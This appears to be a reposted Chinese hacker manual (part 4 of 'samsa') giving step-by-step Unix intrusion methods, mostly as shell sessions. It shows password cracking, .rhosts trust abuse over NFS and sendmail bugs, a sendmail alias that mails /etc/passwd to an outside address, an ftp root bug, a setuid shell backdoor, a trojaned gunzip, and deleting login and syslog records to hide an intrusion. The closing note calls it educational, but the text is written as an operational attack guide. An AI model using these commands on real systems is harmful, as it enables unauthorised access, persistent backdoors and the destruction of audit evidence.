当前位置:Linux教程 - Linux - samsa 黑客手册(4)

samsa 黑客手册(4)



        
    作者[samsa]

    三、登堂入室(远程登录)
    1) telnet
    要点是取得用户帐号和保密字
    1.1) 取得用户帐号
    1.1.1) 使用“白手起家”中介绍的方法
    1.1.2) 其他方法:e.g.根据从那个站点寄出的e-mail地址
    1.2) 获取口令
    1.2.1) 口令破解
    1.2.1.1) 使用“隔空取物”中介绍的方法取得/etc/passwd和/etc/shadow
    1.2.1.2) 使用口令破解程序破解口令
    e.g.使用john the riper:

    # unshadow passwd shadow > pswd.1
    # pwd_crack -single pswd.1
    # pwd_crack -wordfile:/usr/dict/words -rules pswd.1
    # pwd_crack -i:alph5 pswd.1

    1.2.1.3) 使用samsa开发的适合中国人的字典生成程序

    # dicgen 1 words1 /* 所有1音节的汉语拼音 */
    # dicgen 2 words2 /* 所有2音节的汉语拼音 */
    # dicgen 3 words3 /* 所有3音节的汉语拼音 */
    # pwd_crack -wordfile:words1 -rules pswd.1
    # pwd_crack -wordfile:words2 -rules pswd.1
    # pwd_crack -wordfile:words3 -rules pswd.1

    1.2.2) 蛮干(brute force):猜测口令猜法:与用户名相同的口令,用户名的简单变体,机构名,机器型号etc e.g. cxl: cxl,cxl111,cxl123,cxl12345,cxlsun,ultra30 etc...

    (samsa:如果用户数足够多,这种方法还是很有效的:需要运气和灵感)

    2) r-命令:rlogin,rsh
    关键在信任关系,即:/etc/hosts.equiv,~/.rhosts文件
    2.1) /etc/hosts.equiv
    如果/etc/hosts.equiv文件中有一个"+",那么任何一台主机上的任何一个用户(root除外),可以远程登录而不需要口令,并成为该机上同名用户;

    2.2) ~/.rhosts
    如果某用户主目录(home directory)下.rhosts文件中有一个"+",那么任何一台主机上的同名用户可以远程登录而不需要口令

    2.3) 改写这两个文件
    2.3.1) nfs
    如果某用户的主目录共享出来

    # showmount -e numen
    export list for numen:
    /space/users/lpf sun9
    /space/users/zw (everyone)
    # mount -F nfs numen:/space/users/zw /mnt
    # cd /mnt
    # ls -ld .
    drwxr-xr-x 6 1005 staff 2560 1999 5月 11 .
    # echo zw:x:1005:1:temporary break-in account:/:/bin/sh >> /etc/passwd
    # echo zw::::::::: >> /etc/shadow
    # su zw
    $ cat >.rhosts
    +
    ^D
    $ rsh numen csh -i
    Warning: no access to tty; thus no job control in this shell...
    numen%

    2.3.2) smtp
    利用``decode别名
    a) 若任一用户主目录(e.g./home/zen)或其下.rhosts对daemon可写,则

    # echo "+" | uuencode /home/zen/.rhosts | mail [email protected]

    (samsa:于是/home/zem/.rhosts中就出现一个"+")

    b) 无用户主目录或其下.rhosts对daemon可写,则利用/etc/aliases.pag,
    因为许多系统中该文件是world-writable.

    # cat decode
    bin: "| cat /etc/passwd | mail [email protected]"
    # newaliases -oQ/tmp -oA`pwd`/decode
    # uuencode decode.pag /etc/aliases.pag | mail [email protected]
    # /usr/lib/sendmail -fbin -om -oi [email protected] < /dev/null

    (samsa:wait .....)

    c) sendmail 5.59 以前的bug

    # cat evil_sendmail
    telnet victim.com 25 << EOSM
    rcpt to: /home/zen/.rhosts
    mail from: zen
    data
    random garbage
    ..
    rcpt to: /home/zen/.rhosts
    mail from: zen
    data
    +
    ..
    quit
    EOSM
    # /bin/sh evil_sendmail
    Trying xxx.xxx.xxx.xxx
    Connected to victim.com
    Escape character is ^].
    Connection closed by foreign host.
    # rlogin victim.com -l zen
    Welcome to victim.com!
    $

    d) sendmail 的一个较`新bug

    # telnet victim.com 25
    Trying xxx.xxx.xxx.xxx...
    Connected to victim.com
    Escape character is ^].
    220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
    mail from: "|echo + >> /home/zen/.rhosts"
    250 "|echo + >> /home/zen/.rhosts"... Sender ok
    rcpt to: nosuchuser
    550 nosuchuser... User unknown
    data
    354 Enter mail, end with "." on a line by itself
    ..
    250 Mail accepted
    quit
    Connection closed by foreign host.
    # rsh victim.com -l zen csh -i
    Welcome to victim.com!
    $

    2.3.3) IP-spoofing
    r-命令的信任关系建立在IP上,所以通过IP-spoofing可以获得信任;

    3) rexec
    类似于telnet,也必须拿到用户名和口令

    4) ftp 的古老bug

    # ftp -n
    ftp> open victim.com
    Connected to victim.com
    220 victim.com FTP server ready.
    ftp> quote user ftp
    331 Guest login ok, send ident as password.
    ftp> quote cwd ~root
    530 Please login with USER and PASS.
    ftp> quote pass ftp
    230 Guest login ok, access restrictions apply.
    ftp> ls -al / (or whatever)

    (samsa:你已经是root了)

    六、最后的疯狂(善后)
    1) 后门
    e.g.有一次,俺通过改写/.rhosts成了root,但.rhosts很容易被发现的哦,怎么办?留个后门的说:
    # rm -f /.rhosts
    # cd /usr/bin
    # ls mscl
    mscl: 无此文件或目录
    # cp /bin/ksh mscl
    # chmod a+s mscl
    # ls -l mscl
    -r-sr-sr-x 1 root ofc 192764 5月 19 11:42 mscl
    以后以任何用户登录,只要执行``/usr/bin/mscl就成root了。
    /usr/bin下面那一大堆程序,能发现这个mscl的几率简直小到可以忽略不计了。
    2) 特洛伊木马
    e.g. 有一次我发现:
    $ echo $PATH
    /usr/sbin:/usr/bin:/usr/ccs/bin:/opt/gnu/bin:.
    $ ls -ld /opt/gnu
    drwxrwxrwx 7 root other 512 5月 14 11:54 /opt/gnu
    $ cd /opt/gnu
    $ ls -l
    total 24
    drwxrwxrwx 7 root other 512 5月 14 11:54 .
    drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
    drwxr-xr-x 2 root other 1536 5月 14 16:10 bin
    drwxr-xr-x 3 root other 512 1996 11月 29 include
    drwxr-xr-x 2 root other 3584 1996 11月 29 info
    drwxr-xr-x 4 root other 512 1997 12月 17 lib
    $ cp -R bin .TT_RT; cd .TT_RT
    ``.TT_RT这种东东看起来象是系统的...
    决定替换常用的程序gunzip
    $ mv gunzip gunzip:
    $ cat > toxan
    #!/bin/sh
    echo "+ +" >/.rhosts
    ^D
    $ cat > gunzip
    if [ -f /.rhosts ]
    then
    mv /opt/gnu/bin /opt/gnu/.TT_RT
    mv /opt/gnu/.TT_DB /opt/gnu/bin
    /opt/gnu/bin/gunzip $*
    else
    /opt/gnu/bin/gunzip: $*
    fi
    ^D
    $ chmod 755 toxan gunzip
    $ cd ..
    $ mv bin .TT_DB
    $ mv .TT_RT bin
    $ ls -l
    total 16
    drwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin
    drwxr-xr-x 3 root other 512 1996 11月 29 include
    drwxr-xr-x 2 root other 3584 1996 11月 29 info
    drwxr-xr-x 4 root other 512 1997 12月 17 lib
    $ ls -al
    total 24
    drwxrwxrwx 7 root other 512 5月 14 11:54 .
    drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
    drwxr-xr-x 2 root other 1536 1998 11月 2 .TT_DB
    drwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin
    drwxr-xr-x 3 root other 512 1996 11月 29 include
    drwxr-xr-x 2 root other 3584 1996 11月 29 info
    drwxr-xr-x 4 root other 512 1997 12月 17 lib
    虽然有点暴露的可能(bin的属主竟然是zw!!!),但也顾不得了。
    盼着root尽快执行gunzip吧...
    过了两天:
    $ cd /opt/gnu
    $ ls -al
    total 24
    drwxrwxrwx 7 root other 512 5月 14 11:54 .
    drwxrwxr-x 9 root sys 512 5月 19 15:37 ..
    drwxr-xr-x 2 zw other 1536 1998 11月 2 .TT_RT
    drwxr-xr-x 2 root staff 1536 5月 14 16:10 bin
    drwxr-xr-x 3 root other 512 1996 11月 29 include
    drwxr-xr-x 2 root other 3584 1996 11月 29 info
    drwxr-xr-x 4 root other 512 1997 12月 17 lib
    (samsa:bingo!!!有人运行俺的特洛伊木马乐...)
    $ ls -a /
    (null) .exrc dev proc
    .. .fm devices reconfigure
    .. .hotjava etc sbin
    ..Xauthority .netscape export tftpboot
    ..Xdefaults .profile home tmp
    ..Xlocale .rhosts kernel usr
    ..ab_library .wastebasket lib var
    ......
    $ cat /.rhosts
    + +
    $
    (samsa:下面就不用 罗嗦了吧?)
    注:该结果为samsa杜撰,那个特洛伊木马至今还在老地方静悄悄地呆着呢,即无人发现也没人光顾!!——已经20多年过去了耶....
    3) 毁尸灭迹
    消除掉登录记录:
    3.1) /var/adm/lastlog
    # cd /var/adm
    # ls -l
    总数73258
    -rw------- 1 uucp bin 0 1998 10月 9 aculog
    -r--r--r-- 1 root root 28168 5月 19 16:39 lastlog
    drwxrwxr-x 2 adm adm 512 1998 10月 9 log
    -rw-r--r-- 1 root root 30171962 5月 19 16:40 messages
    drwxrwxr-x 2 adm adm 512 1998 10月 9 passwd
    -rw-rw-rw- 1 bin bin 0 1998 10月 9 spellhist
    -rw------- 1 root root 6871 5月 19 16:39 sulog
    -rw-r--r-- 1 root bin 1188 5月 19 16:39 utmp
    -rw-r--r-- 1 root bin 12276 5月 19 16:39 utmpx
    -rw-rw-rw- 1 root root 122 1998 10月 9 vold.log
    -rw-rw-r-- 1 adm adm 3343551 5月 19 16:39 wtmp
    -rw-rw-r-- 1 adm adm 7229076 5月 19 16:39 wtmpx
    为了下次登录时不显示``Last Login信息(向真正的用户显示):
    # rm -f lastlog
    # telnet victim.com
    SunOS 5.7
    login: zw
    Password:
    Sun Microsystems Inc. SunOS 5.7 Generic October 1998
    $
    (比较:
    SunOS 5.7
    login: zw
    Password:
    Last login: Wed May 19 16:38:31 from zw
    Sun Microsystems Inc. SunOS 5.7 Generic October 1998
    $
    说明:/var/adm/lastlog 每次有用户成功登录进来时记一条,所以删掉以后再登录一次就没有``Last Login信息,但再登一次又会出现,因为系统会自动重新创建该文件)
    3.2) /var/adm/utmp,/var/adm/utmpx /var/adm/wtmp,/var/adm/wtmpx
    utmp、utmpx 这两个数据库文件存放当前登录在本机上的用户信息,用于who、
    write、login等程序中;
    $ who
    wsj console 5月 19 16:49 (:0)
    zw pts/5 5月 19 16:53 (zw)
    yxun pts/3 5月 19 17:01 (192.168.0.115)
    wtmp、wtmpx分别是它们的历史记录,用于``last
    命令,该命令读取wtmp(x)的内容并以可理解的方式进行显示:
    $ last | grep zw
    zw ftp 192.168.0.139 Fri Apr 30 09:47 - 10:12 (00:24)
    zw pts/1 192.168.0.139 Fri Apr 30 08:05 - 11:40 (03:35)
    zw pts/18 192.168.0.139 Thu Apr 29 15:36 - 16:50 (01:13)
    zw pts/7 Thu Apr 29 09:53 - 15:35 (05:42)
    zw pts/7 192.168.0.139 Thu Apr 29 08:48 - 09:53 (01:05)
    zw ftp 192.168.0.139 Thu Apr 29 08:40 - 08:45 (00:04)
    zw pts/10 192.168.0.139 Thu Apr 29 08:37 - 13:27 (04:49)
    ......
    utmp、wtmp已经过时,现在实际使用的是utmpx和wtmpx,但同样的信息依然以旧的格式记录在utmp和wtmp中,所以要删就全删。
    # rm -f wtmp wtmpx
    # last
    /var/adm/wtmpx: 无此文件或目录
    3.3) syslog
    syslogd 随时从系统各处接受log请求,然后根据/etc/syslog.conf中的预先设定把log信息写入相应文件中、邮寄给特定用户或者直接以消息的方式发往控制台。
    不妨先看看syslog.conf的内容:
    ---------------------- begin: syslog.conf -------------------------------
    #ident "@(#)syslog.conf 1.4 96/10/11 SMI" /* SunOS 5.0 */
    #
    # Copyright (c) 1991-1993, by Sun Microsystems, Inc.
    #
    # syslog configuration file.
    #
    *.err;kern.notice;auth.notice /dev/console
    *.err;kern.debug;daemon.notice;mail.crit /var/adm/messages
    *.alert;kern.err;daemon.err operator
    *.alert root
    ......
    ---------------------- end : syslog.conf -------------------------------
    ``auth.notice这样的东东由两部分组成,称为``facility.level,前者表示log信息涉及的方面,level表示信息的紧急程度。
    facility 有:user,kern,mail,daemon,auth,lpr,news,uucp,cron,etc...
    level 有:emerg,alert,crit,err,warning,info,debug,etc...(紧急程度递减)
    一般和安全关系密切的facility是mail,daemon,auth etc...
    而这类信息按惯例通常存放在/var/adm/messages里。
    那么 messages 里那些信息容易暴露“黑客”痕迹呢?
    1,"May 4 08:48:35 numen login: REPEATED LOGIN FAILURES ON /dev/pts/9 FROM
    sams
    "
    重复登录失败!如果你猜测口令的话,你肯定会经历很多次这样的失败!
    不过一般的UNIX系统只有一次telnet session连续登录5次失败才会记这么一条,所以当你4次尝试还没成功,最好赶紧退出,重新telnet...
    2,"May 5 10:30:35 numen su: su root failed for cxl on /dev/pts/15"
    "May 18 17:02:16 numen su: su root succeeded for zw on /dev/pts/1"
    如果黑客想利用``su成为超级用户,无论成功失败,messages里都可能有记录...
    3,"Apr 29 10:12:23 numen sendmail[4777]: NOQUEUE: "wiz" command from numen"

    "Apr 29 10:12:23 numen sendmail[4777]: NOQUEUE: "debug" command from nume
    n"
    Sendmail早期版本的``wiz、``debug命令是漏洞所在,所以黑客可能会尝试这两个命令...
    因此,/var/adm/messages也是暴露黑客行踪的隐患,最好把它删掉(如果能的话,哈哈)!?
    # rm -f /var/adm/messages
    (samsa:爽!!!)
    或者,如果你不想引起注意的话,也可以只把对应的行删掉(当然要有写权限)。
    3.4) sulog
    /var/adm下还有一个sulog,是专门为su程序服务的:
    # cat sulog
    SU 05/06 09:05 + console root-zw
    SU 05/06 13:55 - pts/9 yxun-root
    SU 05/06 14:03 + pts/9 yxun-root
    ......
    其中``+表示su成功,``-表示失败。如果你用过su,那就把这个文件也删掉把,或者把关于你的行删掉!

    作者samsa,别号沙门,水木清华上无名网虫一只。
    北大毕业,现在中科院某所读研,方向:网络安全。
    除计算机外,该人尚酷爱文艺,著有各类文学作品近20万字,
    发表在水母文学板和诗歌板上,少量作品发表在网络期刊《橄
    榄树》上。
    本文旨在教学,通过侵入自己的系统提高自己系统的安全性。
    请发扬黑客文化的优良传统,为Internet的安全和完善而无偿奉献自己的力量!
    请尊重法律,别做将来可能让自己后悔莫及的事!
    对阅读本文后发生的一切概不负责!!!
    Appendix A: 参考文献
    [ English ]
    Anonymous 1997. "Maximum Security" Sams net
    AT;T 1990. "UNIX System V Release 4" UNIX Press,Prentice Hall
    1) "Network Users and Administrators Guide"
    2) "Programmers Guide:Streams"
    3) "Programmers Guide:System Services ; Application Packaging Tools
    "
    4) "Programmers Guide:Networking Interfaces"
    5) "System Administrators Guide-Chpt. 12:Security"
    6) "System Administrators Reference Manual"
    Balif ; Desslok "Automating brute force attacks with Expect" from "rootshe
    ll"
    Dan Farmer ; Wietse Venema 1995. "Improving the Security of Your Site by Bre
    akin
    Into it"
    "Tutorials - Security problems" in "satan"
    http://www.rootshell.com
    1) Francisco Torres 1997.
    2)
    3) JungSeok. Roh
    4)
    5)
    6) Bpowell 1997.
    Simson Garfinkel ; Gene Spafford 1992. "Practical UNIX Security",OReilly an
    d As
    ociates
    Stevens,W.R. 1998. Prentice Hall
    Tanenbaum,A.S 1996. Prentice Hall
    [ 中文 ]
    Levine,J.R. ; Baroudi,C. 1995 IDG. 电子工业出版社 1996
    Davis,P.T. ; Lewis,B.D. 1996 <计算机安全保密指南:傻瓜书> IDG. 电子工业出版社 1999
    Samsa Cheung 1999. <网络嗅探器原理及技术实现> 尚未出版
    [美]无名氏 1997. <网络最高安全技术指南> 机械工业出版社 1998
    余建斌 1998. <黑客的攻击手段及用户对策> 人民邮电出版社
    朱三元,杨明,薛钫 1994. <网络通信软件设计指南> 清华大学出版社



    发布人:netbull 来自:sinbad网络安全